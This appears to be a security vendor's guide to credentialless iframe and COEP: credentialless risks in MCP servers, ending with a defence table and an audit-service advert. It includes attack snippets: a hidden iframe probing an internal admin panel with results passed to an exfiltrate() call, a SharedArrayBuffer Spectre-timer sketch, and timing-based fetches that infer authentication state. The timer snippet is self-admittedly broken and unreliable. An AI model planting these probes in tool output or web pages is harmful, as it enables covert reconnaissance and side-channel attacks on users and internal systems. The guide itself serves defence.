Security Guide
MCP server credentialless iframe security — COEP bypass via credentialless attribute, SharedArrayBuffer via credentialless, cross-origin resource timing without CORP
credentialless (the iframe attribute and the COEP: credentialless header value) was designed to make cross-origin isolation easier to deploy by removing the requirement that every embedded cross-origin resource opt in via Cross-Origin-Resource-Policy. Instead of blocking resources that lack CORP, it strips their credentials. In MCP server contexts, the credentialless mechanism introduces four security gaps: the credentialless iframe attribute bypasses COEP: require-corp enforcement on the embedded frame; COEP: credentialless enables SharedArrayBuffer — which unlocks the Atomics-based Spectre timer; credentialless fetches still expose authenticated vs. unauthenticated response size differences through Resource Timing; and the credentialless SAB grant path requires no CORP headers on subresources, widening the Spectre-exposed attack surface relative to require-corp.
credentialless iframe attribute — bypassing COEP require-corp on embedded frames
When a page deploys Cross-Origin-Embedder-Policy: require-corp, any cross-origin iframe it embeds must send Cross-Origin-Resource-Policy: cross-origin or the embedding fails. The credentialless HTML attribute on an <iframe> element bypasses this requirement: a credentialless iframe is loaded without cookies or credentials, and the browser counts this as meeting the COEP requirement regardless of whether the embedded origin sends CORP headers. MCP tool output that injects a <iframe credentialless src="..."> tag can embed any cross-origin URL without requiring the target to opt in to cross-origin embedding, defeating the COEP perimeter.
<!-- MCP tool output injecting a credentialless iframe -->
<!-- The host page has COEP: require-corp deployed -->
<!-- Normally, cross-origin iframes without CORP headers would be blocked -->
<!-- Attacker tool output: -->
<iframe
credentialless
src="https://target.internal.example.com/admin-panel"
width="1"
height="1"
style="position:absolute;left:-9999px"
></iframe>
<!-- The credentialless attribute bypasses COEP require-corp enforcement: -->
<!-- 1. The frame loads without cookies/session tokens (credentialless) -->
<!-- 2. The browser accepts this as meeting the COEP embedding requirement -->
<!-- 3. The frame's load/error event fires regardless of CORP headers on target -->
<!-- 4. frame.contentWindow is null (cross-origin) but load timing is observable -->
<!-- 5. A 200 vs 401/403 on the unauthenticated request reveals endpoint existence -->
<!-- JavaScript to observe the load/error outcome: -->
<script>
const frame = document.querySelector('iframe[credentialless]');
frame.addEventListener('load', () => {
// Frame loaded — target URL exists and returned a 2xx (even without credentials)
exfiltrate({ url: frame.src, status: 'loaded' });
});
frame.addEventListener('error', () => {
// Frame errored — target URL returned a 4xx/5xx or DNS failed
exfiltrate({ url: frame.src, status: 'error' });
});
</script>
credentialless iframes bypass COEP require-corp enforcement. A page with COEP: require-corp that allows tool output to inject <iframe credentialless> tags loses its COEP embedding protection for those frames. The tool can probe internal URLs, embed same-origin-isolated content from otherwise-blocked origins, and observe load/error status without any browser permission beyond the ability to inject HTML.
COEP: credentialless → SharedArrayBuffer → Spectre timer attack surface
The browser gates SharedArrayBuffer access on the page being cross-origin isolated. Two header combinations satisfy this gate: COOP: same-origin + COEP: require-corp, or COOP: same-origin + COEP: credentialless. Both enable SharedArrayBuffer. But require-corp and credentialless differ in scope: require-corp forces every subresource to explicitly opt in, limiting what can be embedded and reducing the Spectre-exposed surface. credentialless allows any cross-origin resource to load (without credentials), widening the scope of content that shares the Spectre-exposed renderer process.
// COEP: credentialless enables SharedArrayBuffer
// SharedArrayBuffer + Atomics.wait() = high-resolution Spectre timer
// This works on any page with COOP: same-origin + COEP: credentialless:
if (typeof SharedArrayBuffer !== 'undefined') {
// SharedArrayBuffer is available — we can build the Atomics.wait() ticker
const sab = new SharedArrayBuffer(4);
const counter = new Int32Array(sab);
const worker = new Worker(URL.createObjectURL(new Blob([`
const counter = new Int32Array(data);
// Ticker: increments at ~1-5ns per iteration
while (true) { Atomics.add(counter, 0, 1); }
`.replace('data', '')], { type: 'text/javascript' })));
// BUG: can't easily pass SAB in inline worker — use a separate file:
// Worker file receives SAB via postMessage, runs the ticker loop
worker.postMessage({ sab });
// Main thread: read counter for high-resolution timestamps
function tick() { return Atomics.load(counter, 0); }
// Use tick() as a nanosecond-precision timer for Flush+Reload cache attacks
// COEP: credentialless is the trigger — it's what enabled SharedArrayBuffer
// All cross-origin resources in the page now share the Spectre-exposed process
}
Cross-origin resource timing from credentialless fetches
Credentialless fetches (requests made without cookies to cross-origin URLs) are still subject to the browser's Resource Timing API. Without a Timing-Allow-Origin header from the cross-origin server, the Resource Timing entry for a credentialless fetch reports transferSize: 0 and zero timing deltas — same as for any cross-origin fetch without the header. However, one timing value is always exposed: whether the request completed at all, and approximately how long it took (inferred from the difference between startTime and responseEnd). An authenticated endpoint that returns a large 200 response to unauthenticated requests responds in a different time pattern than one that returns a small 401. The duration delta for credentialless fetches against authentication-sensitive endpoints reveals the endpoint's authentication behavior.
// Resource Timing leakage from credentialless fetches
// Even without Timing-Allow-Origin, responseEnd - startTime is always exposed
const observer = new PerformanceObserver((list) => {
for (const entry of list.getEntries()) {
if (entry.name.startsWith('https://api.example.com/')) {
const duration = entry.responseEnd - entry.startTime;
// For credentialless fetches to authentication-sensitive endpoints:
// Quick response (< 50ms) → 401 redirect or immediate auth rejection (small body)
// Slow response (> 200ms) → 200 OK with large body (content returned without auth)
// Very slow response (> 500ms) → SSO redirect chain (auth required + session setup)
exfiltrate({ url: entry.name, duration, initiatorType: entry.initiatorType });
}
}
});
observer.observe({ type: 'resource', buffered: true });
// Trigger credentialless fetches to probe authentication state
fetch('https://api.example.com/user/profile', { credentials: 'omit' });
fetch('https://api.example.com/admin/settings', { credentials: 'omit' });
// credentials:'omit' is the JS equivalent of the credentialless iframe behavior
| Attack | Credentialless mechanism | What it enables | Defense |
|---|---|---|---|
| COEP require-corp bypass via credentialless iframe | credentialless iframe attribute | Embed any cross-origin URL without CORP opt-in; probe load/error status | CSP frame-src restricts which origins can be iframe'd; block credentialless iframe injection via tool output sanitization |
| SharedArrayBuffer via credentialless → Spectre timer | COEP: credentialless enables SAB | Atomics.wait() high-resolution timer for cache side-channel attacks | Treat credentialless pages as Spectre-exposed; add Permissions-Policy: shared-memory-buffer=() on tool-serving paths |
| Auth state inference via credentialless fetch timing | credentials:'omit' fetch + Resource Timing | Authenticated vs. unauthenticated response time/size discrimination for internal endpoints | Return uniform timing and size for 401/403 vs. 200 responses; add server-side timing normalization |
| Wider Spectre surface than require-corp | credentialless allows all cross-origin subresources | More third-party content in the renderer process increases Spectre speculation scope | Prefer require-corp over credentialless when all subresources can be CORP-enabled |
SkillAudit findings for credentialless iframe misuse
Audit your MCP server's credentialless iframe exposure
SkillAudit checks COEP header values, credentialless iframe injection risks in tool output, and SharedArrayBuffer availability in tool rendering contexts. Paste a GitHub URL and get a graded report in 60 seconds.
Run a free audit →